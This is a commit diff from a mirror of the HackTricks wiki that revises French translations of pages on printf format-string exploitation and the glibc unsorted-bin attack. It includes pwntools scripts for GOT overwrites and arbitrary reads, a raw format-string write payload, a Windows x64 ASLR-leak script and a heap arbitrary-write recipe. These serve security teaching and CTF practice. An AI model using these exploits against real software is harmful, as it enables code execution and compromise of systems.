mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
c7ec560d82
commit
f6289d59bf
@ -5,11 +5,11 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
En C **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** attendu par cette fonction est le **texte brut contenant les spécificateurs de format**. Les **paramètres suivants** sont les **valeurs** destinées à **remplacer** les spécificateurs dans le texte brut.
|
||||
En C, **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut contenant les spécificateurs de format**. Les **paramètres suivants** attendus sont les **valeurs** servant à **substituer** les **spécificateurs** dans le texte brut.
|
||||
|
||||
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
|
||||
|
||||
La vulnérabilité apparaît lorsqu'un **texte contrôlé par un attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra construire une **entrée spéciale abusant** des **printf format string** capabilities pour lire et **écrire n'importe quelles données à n'importe quelle adresse (lisible/écrivible)**. Cela permet ainsi d'**exécuter du code arbitraire**.
|
||||
La vulnérabilité apparaît lorsqu'un **texte contrôlé par l'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra fabriquer une **entrée spéciale abusant** de la **chaîne de format de `printf`** pour lire et **écrire n'importe quelles données à n'importe quelle adresse (readable/writable)**. Cela permet d'**exécuter du code arbitraire**.
|
||||
|
||||
#### Spécificateurs de format:
|
||||
```bash
|
||||
@ -22,20 +22,20 @@ La vulnérabilité apparaît lorsqu'un **texte contrôlé par un attaquant est u
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**Exemples :**
|
||||
**Exemples:**
|
||||
|
||||
- Exemple vulnérable :
|
||||
- Exemple vulnérable:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Utilisation normale:
|
||||
- Utilisation normale :
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
- Avec des arguments manquants :
|
||||
- Avec des arguments manquants:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
@ -52,9 +52,9 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Accès aux pointeurs**
|
||||
### **Accéder aux pointeurs**
|
||||
|
||||
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (sur la pile). Donc si vous voulez lire le 4ème paramètre de la pile avec printf, vous pouvez faire :
|
||||
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le nième paramètre (depuis le stack). Donc si vous voulez lire le 4e paramètre du stack en utilisant printf vous pouvez faire :
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -66,14 +66,14 @@ printf("%4$x")
|
||||
```
|
||||
et lire directement le quatrième.
|
||||
|
||||
Remarquez que l'attaquant contrôle le `printf` **parameter, which basically means that** son entrée va se trouver dans la stack lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la stack.
|
||||
Remarquez que l'attaquant contrôle le paramètre de `printf` **, ce qui signifie essentiellement que** son entrée sera dans la stack lorsque `printf` est appelé, ce qui veut dire qu'il pourrait écrire des memory addresses spécifiques dans la stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un attaquant contrôlant cette entrée pourra **ajouter arbitrary address in the stack et faire en sorte que `printf` y accède**. Dans la section suivante il sera expliqué comment utiliser ce behaviour.
|
||||
> Un attaquant contrôlant cette entrée pourra **ajouter des memory addresses arbitraires dans la stack et faire en sorte que `printf` y accède**. Dans la section suivante il sera expliqué comment utiliser ce comportement.
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
|
||||
Il est possible d'utiliser le formatter **`%n$s`** pour faire en sorte que **`printf`** récupère l'**address** située en **position n**, la suive et **l'affiche comme si c'était une string** (affiche jusqu'à rencontrer 0x00). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence en 4th position dans la stack, il est possible d'imprimer le début du binaire avec :
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que vous ne pouvez pas placer l'adresse 0x8048000 au début de l'entrée car la chaîne sera terminée par 0x00 à la fin de cette adresse.
|
||||
> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée par le 0x00 à la fin de cette adresse.
|
||||
|
||||
### Trouver l'offset
|
||||
|
||||
Pour trouver l'offset de votre entrée vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`**, puis **augmentez** la valeur jusqu'à récupérer les `A's`.
|
||||
Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`** et **augmenter** la valeur jusqu'à récupérer les `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Force brute pour l'offset printf</summary>
|
||||
<summary>Brute Force printf offset</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -128,43 +128,42 @@ p.close()
|
||||
|
||||
### Utilité
|
||||
|
||||
Arbitrary reads peuvent être utiles pour :
|
||||
Les lectures arbitraires peuvent être utiles pour :
|
||||
|
||||
- **Dump** le **binary** depuis la mémoire
|
||||
- **Accéder à des parties spécifiques de la mémoire où des** **info** sont stockées (comme canaries, encryption keys ou custom passwords comme dans ce [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Accéder à des parties spécifiques de la mémoire où des informations sensibles sont stockées** (comme les canaries, encryption keys ou custom passwords comme dans ce [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
Le formatter **`%<num>$n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée** dans le paramètre <num> sur la stack. Si un attaquant peut écrire autant de caractères qu'il veut avec printf, il pourra faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
Le formatter **`%<num>$n`** **écrit** le **nombre d'octets écrits** à **l'adresse indiquée** dans le paramètre <num> sur la stack. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est donc possible d'utiliser le formatter **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** dans l'**adresse pointée par la `num` position**.
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est possible d'utiliser le formatter **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** dans **l'adresse pointée par la position `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Cependant, notez que généralement, pour écrire une adresse telle que `0x08049724` (qui est un HUGE number à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet d'**écrire seulement 2 Bytes**. Par conséquent, cette opération est effectuée deux fois, une pour les 2B les plus élevés de l'adresse et une autre pour les plus bas.
|
||||
Cependant, notez que, généralement, pour écrire une adresse telle que `0x08049724` (qui est un nombre ÉNORME à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois : une pour les 2 octets supérieurs de l'adresse et une autre pour les 2 octets inférieurs.
|
||||
|
||||
Ainsi, cette vulnérabilité permet d'**écrire n'importe quoi à n'importe quelle adresse (arbitrary write).**
|
||||
|
||||
Dans cet exemple, l'objectif va être d'**écraser** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse utiliser d'autres techniques arbitrary write to exec :
|
||||
Ainsi, cette vulnérabilité permet de **écrire n'importe quoi à n'importe quelle adresse (arbitrary write).**
|
||||
|
||||
Dans cet exemple, l'objectif sera de **écraser** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Cela pourrait cependant être exploité via d'autres techniques arbitrary write to exec :
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Nous allons **écraser** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et la **pointer** vers la **fonction** **`system`**.\
|
||||
Comme mentionné, pour écrire l'adresse, habituellement 2 étapes sont nécessaires : vous **écrivez d'abord 2Bytes** de l'adresse puis les 2 autres. Pour cela on utilise **`$hn`**.
|
||||
Comme mentionné, pour écrire l'adresse, il faut généralement 2 étapes : vous **écrivez d'abord 2 octets** de l'adresse puis les 2 autres. Pour cela, on utilise **`$hn`**.
|
||||
|
||||
- **HOB** désigne les 2 higher bytes de l'adresse
|
||||
- **LOB** désigne les 2 lower bytes de l'adresse
|
||||
- **HOB** correspond aux 2 octets supérieurs de l'adresse
|
||||
- **LOB** correspond aux 2 octets inférieurs de l'adresse
|
||||
|
||||
Ensuite, à cause du fonctionnement des format string, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
|
||||
Ensuite, en raison du fonctionnement des format string vous devez **écrire d'abord le plus petit** de [HOB, LOB] puis l'autre.
|
||||
|
||||
If HOB < LOB\
|
||||
Si HOB < LOB
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
If HOB > LOB\
|
||||
Si HOB > LOB
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
@ -173,14 +172,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
```
|
||||
### Modèle Pwntools
|
||||
|
||||
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans :
|
||||
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Ou cet exemple basique depuis [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Ou cet exemple basique disponible [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -201,26 +200,26 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
Il est possible d'abuser des actions d'écriture d'une vulnérabilité format string pour **écrire dans des adresses de la stack** et exploiter un **buffer overflow** de type vulnérabilité.
|
||||
Il est possible d'abuser des actions d'écriture d'une vulnérabilité de format string pour **écrire aux adresses de la stack** et exploiter un type de vulnérabilité **buffer overflow**.
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Sur Windows x64, les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites vulnérables, la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple:
|
||||
Sur Windows x64 les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites bogués la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Parce qu'aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" fera que le CRT lira le prochain argument variadique depuis le registre approprié. Avec la Microsoft x64 calling convention la première lecture pour "%p" provient de R9. Quelle que soit la valeur transitoire dans R9 au call-site sera affichée. En pratique cela révèle souvent un pointeur stable dans le module (par ex., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une valeur callee-saved), qui peut être utilisé pour retrouver la base du module et contourner ASLR.
|
||||
Comme aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" forcera le CRT à lire le prochain argument variadic depuis le registre approprié. Avec la convention d'appel Microsoft x64 la première telle lecture pour "%p" provient de R9. La valeur transitoire contenue dans R9 au site d'appel sera imprimée. En pratique, cela provoque souvent le leak d'un pointeur stable à l'intérieur du module (e.g., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une callee-saved value), qui peut être utilisé pour récupérer la base du module et contourner l'ASLR.
|
||||
|
||||
Practical workflow:
|
||||
Practical workflow :
|
||||
|
||||
- Injectez un format inoffensif tel que "%p " tout au début de la chaîne contrôlée par l'attaquant afin que la première conversion s'exécute avant tout filtrage.
|
||||
- Capturez le leaked pointer, identifiez l'offset statique de cet objet à l'intérieur du module (en reversing une fois avec symbols ou une copie locale), et récupérez la base de l'image comme `leak - known_offset`.
|
||||
- Réutilisez cette base pour calculer des adresses absolues pour les ROP gadgets et les IAT entries à distance.
|
||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
|
||||
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
|
||||
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
|
||||
|
||||
Example (abbreviated python):
|
||||
Exemple (python abrégé) :
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
@ -232,12 +231,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notes:
|
||||
Notes :
|
||||
- L'offset exact à soustraire est trouvé une fois lors du reversing local puis réutilisé (même binaire/version).
|
||||
- Si "%p" n'imprime pas un pointeur valide au premier essai, essayez d'autres specifiers ("%llx", "%s") ou plusieurs conversions ("%p %p %p") pour sampler d'autres argument registers/stack.
|
||||
- Ce pattern est spécifique à la Windows x64 calling convention et aux implémentations printf-family qui récupèrent des varargs inexistants depuis des registres lorsque the format string les demande.
|
||||
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
|
||||
- Ce pattern est spécifique à la calling convention Windows x64 et aux implémentations de printf-family qui récupèrent des varargs inexistants depuis des registres lorsque le format string les demande.
|
||||
|
||||
Cette technique est extrêmement utile pour bootstrap ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de memory disclosure.
|
||||
Cette technique est extrêmement utile pour bootstrapper ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de divulgation de mémoire.
|
||||
|
||||
## Autres exemples & références
|
||||
|
||||
@ -245,11 +244,12 @@ Cette technique est extrêmement utile pour bootstrap ROP sur des services Windo
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, utilisation basique de format strings pour leak le flag depuis le stack (pas besoin d'altérer le flow d'exécution)
|
||||
- 32 bit, no relro, no canary, nx, no pie, utilisation basique des format strings pour leak le flag depuis la stack (pas besoin d'altérer le flux d'exécution)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour overwrite l'adresse `fflush` avec la fonction win (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour écraser l'adresse `fflush` avec la fonction win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans `.fini_array` (de sorte que le flow boucle 1 fois de plus) et écrire l'adresse de `system` dans la GOT pointant à `strlen`. Quand le flow revient dans main, `strlen` est exécuté avec l'input utilisateur et pointant vers `system`, il exécutera les commandes passées.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans `.fini_array` (donc le flux revient une fois de plus) et écrire l'adresse de `system` dans la table GOT qui pointe vers `strlen`. Lorsque le flux revient à main, `strlen` est exécutée avec l'entrée utilisateur et pointant vers `system`, elle exécutera les commandes passées.
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -2,20 +2,20 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page :
|
||||
Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Les unsorted lists peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Ainsi, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk présent dans l'unsorted bin, il pourrait **écrire cette adresse à une adresse arbitraire**, ce qui peut être utile pour leak des adresses Glibc ou contourner certaines protections.
|
||||
Unsorted lists sont capables d'écrire l'adresse de `unsorted_chunks (av)` dans le champ `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de l'unsorted bin, il pourrait être capable d'**écrire cette adresse à une adresse arbitraire**, ce qui peut être utile pour leak des adresses Glibc ou contourner certaines protections.
|
||||
|
||||
Donc, essentiellement, cette attaque permet de **placer un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui peut être une adresse du heap ou une adresse Glibc. Une cible classique était **`global_max_fast`** pour permettre de créer des fast bin bins avec des tailles plus grandes (et passer d'une unsorted bin attack à une fast bin attack).
|
||||
Donc, essentiellement, cette attaque permet de **poser un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui peut être une adresse du heap ou une adresse Glibc. Une cible traditionnelle était **`global_max_fast`** pour permettre de créer des fast bin avec des tailles plus grandes (et passer d'un unsorted bin attack à un fast bin attack).
|
||||
|
||||
- Note moderne (glibc ≥ 2.39) : `global_max_fast` est devenu un global sur 8 bits. Écrire aveuglément un pointeur là‑dessus via un unsorted‑bin write corrompra les données libc adjacentes et n'augmentera plus de manière fiable la limite des fastbin. Préférez d'autres cibles ou primitives contre glibc 2.39+. Voir "Modern constraints" ci‑dessous et envisagez de combiner avec d'autres techniques comme un [large bin attack](large-bin-attack.md) ou un [fast bin attack](fast-bin-attack.md) une fois que vous disposez d'une primitive stable.
|
||||
- Modern note (glibc ≥ 2.39): `global_max_fast` est devenu un global 8 bits. Écrire aveuglément un pointeur là via une écriture unsorted-bin corrompra les données libc adjacentes et ne relèvera plus de manière fiable la limite des fastbin. Préférez d'autres cibles ou d'autres primitives contre glibc 2.39+. Voir "Modern constraints" ci‑dessous et envisagez de combiner avec d'autres techniques comme un [large bin attack](large-bin-attack.md) ou un [fast bin attack](fast-bin-attack.md) une fois que vous avez une primitive stable.
|
||||
|
||||
> [!TIP]
|
||||
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
|
||||
@ -27,7 +27,7 @@ Donc, essentiellement, cette attaque permet de **placer un grand nombre à une a
|
||||
>
|
||||
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
|
||||
|
||||
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer de la mémoire suffisamment grande afin de ne pas tomber dans une Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît, empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
|
||||
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer assez grand afin de ne pas finir dans une Tcache vous pouvez voir que l'erreur précédemment mentionnée apparaît empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
### How the write actually happens
|
||||
|
||||
@ -36,36 +36,36 @@ Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_atta
|
||||
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
|
||||
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
|
||||
|
||||
## Contraintes modernes (glibc ≥ 2.33)
|
||||
## Modern constraints (glibc ≥ 2.33)
|
||||
|
||||
Pour utiliser de manière fiable les unsorted‑bin writes sur les glibc actuels :
|
||||
To use unsorted‑bin writes reliably on current glibc:
|
||||
|
||||
- Tcache interference : pour les tailles qui tombent dans tcache, les frees sont détournés vers celui‑ci et n’atteindront pas l'unsorted bin. Soit
|
||||
- effectuez des requêtes avec des tailles > MAX_TCACHE_SIZE (≥ 0x410 sur 64‑bit par défaut), ou
|
||||
- remplissez le bin tcache correspondant (7 entrées) afin que les frees supplémentaires atteignent les global bins, ou
|
||||
- si l'environnement est contrôlable, désactivez tcache (par exemple, GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integrity checks on the unsorted list : sur le prochain chemin d'allocation qui examine l'unsorted bin, glibc vérifie (simplifié) :
|
||||
- `bck->fd == victim` et `victim->fd == unsorted_chunks(av)` ; sinon il abort avec `malloc(): unsorted double linked list corrupted`.
|
||||
- Cela signifie que l'adresse que vous ciblez doit tolérer deux écritures : d'abord `*(TARGET) = victim` au moment du free ; ensuite, lorsque le chunk est retiré, `*(TARGET) = unsorted_chunks(av)` (l'allocator réécrit `bck->fd` vers la tête du bin). Choisissez des cibles où forcer simplement une grande valeur non‑nulle est utile.
|
||||
- Cibles typiques stables dans les exploits modernes
|
||||
- État applicatif ou global qui traite des valeurs "grandes" comme des flags/limites.
|
||||
- Primitives indirectes (par ex., préparer un [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ultérieur ou pivoter vers un write‑what‑where ultérieur).
|
||||
- Évitez `__malloc_hook`/`__free_hook` sur les nouvelles glibc : ils ont été supprimés en 2.34. Évitez `global_max_fast` sur ≥ 2.39 (voir note suivante).
|
||||
- À propos de `global_max_fast` sur les glibc récents
|
||||
- Sur glibc 2.39+, `global_max_fast` est un global sur 8 bits. L'astuce classique consistant à y écrire un pointeur heap (pour agrandir les fastbins) ne fonctionne plus proprement et risque de corrompre l'état de l'allocator adjacent. Préférez d'autres stratégies.
|
||||
- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
|
||||
- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
|
||||
- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
|
||||
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
|
||||
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
|
||||
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
|
||||
- Typical stable targets in modern exploits
|
||||
- Application or global state that treats "large" values as flags/limits.
|
||||
- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
|
||||
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
|
||||
- About `global_max_fast` on recent glibc
|
||||
- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
|
||||
|
||||
## Minimal exploitation recipe (modern glibc)
|
||||
|
||||
Objectif : obtenir une écriture arbitraire unique d'un pointeur heap à une adresse arbitraire en utilisant la primitive d'insertion unsorted‑bin, sans provoquer de crash.
|
||||
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
|
||||
|
||||
- Layout/grooming
|
||||
- Allouer A, B, C avec des tailles suffisamment grandes pour éviter tcache (par ex., 0x5000). C empêche la consolidation avec le top chunk.
|
||||
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
|
||||
- Corruption
|
||||
- Overflow depuis A dans le header de B pour définir `B->bk = (mchunkptr)(TARGET - 0x10)`.
|
||||
- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
|
||||
- Trigger
|
||||
- `free(B)`. Au moment de l'insertion, l'allocator exécute `bck->fd = B`, donc `*(TARGET) = B`.
|
||||
- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
|
||||
- Continuation
|
||||
- Si vous prévoyez de continuer à allouer et que le programme utilise l'unsorted bin, attendez‑vous à ce que l'allocator écrive ensuite `*(TARGET) = unsorted_chunks(av)`. Les deux valeurs sont typiquement grandes et peuvent suffire à modifier la sémantique de taille/limite dans des cibles qui ne testent que la "grandeur".
|
||||
- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
|
||||
|
||||
Pseudocode skeleton:
|
||||
```c
|
||||
@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
> [!NOTE]
|
||||
> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted.
|
||||
> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write.
|
||||
> • Si vous ne pouvez pas bypasser tcache avec la taille, remplissez le tcache bin pour la taille choisie (7 frees) avant de free le chunk corrompu afin que le free aille dans unsorted.
|
||||
> • Si le programme abort immédiatement sur la prochaine allocation à cause des checks unsorted-bin, re-vérifiez que `victim->fd` vaut toujours la head du bin et que votre `TARGET` contient le pointeur exact `victim` après le premier write.
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
C'est en réalité un concept très basique. Les chunks dans l'unsorted bin vont contenir des pointeurs. Le premier chunk dans l'unsorted bin aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie du main arena (Glibc)**.\
|
||||
Donc, si vous pouvez **mettre un chunk dans un unsorted bin et le lire** (use after free) ou **le réallouer sans écraser au moins 1 des pointeurs** puis le **lire**, vous pouvez obtenir un **Glibc info leak**.
|
||||
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
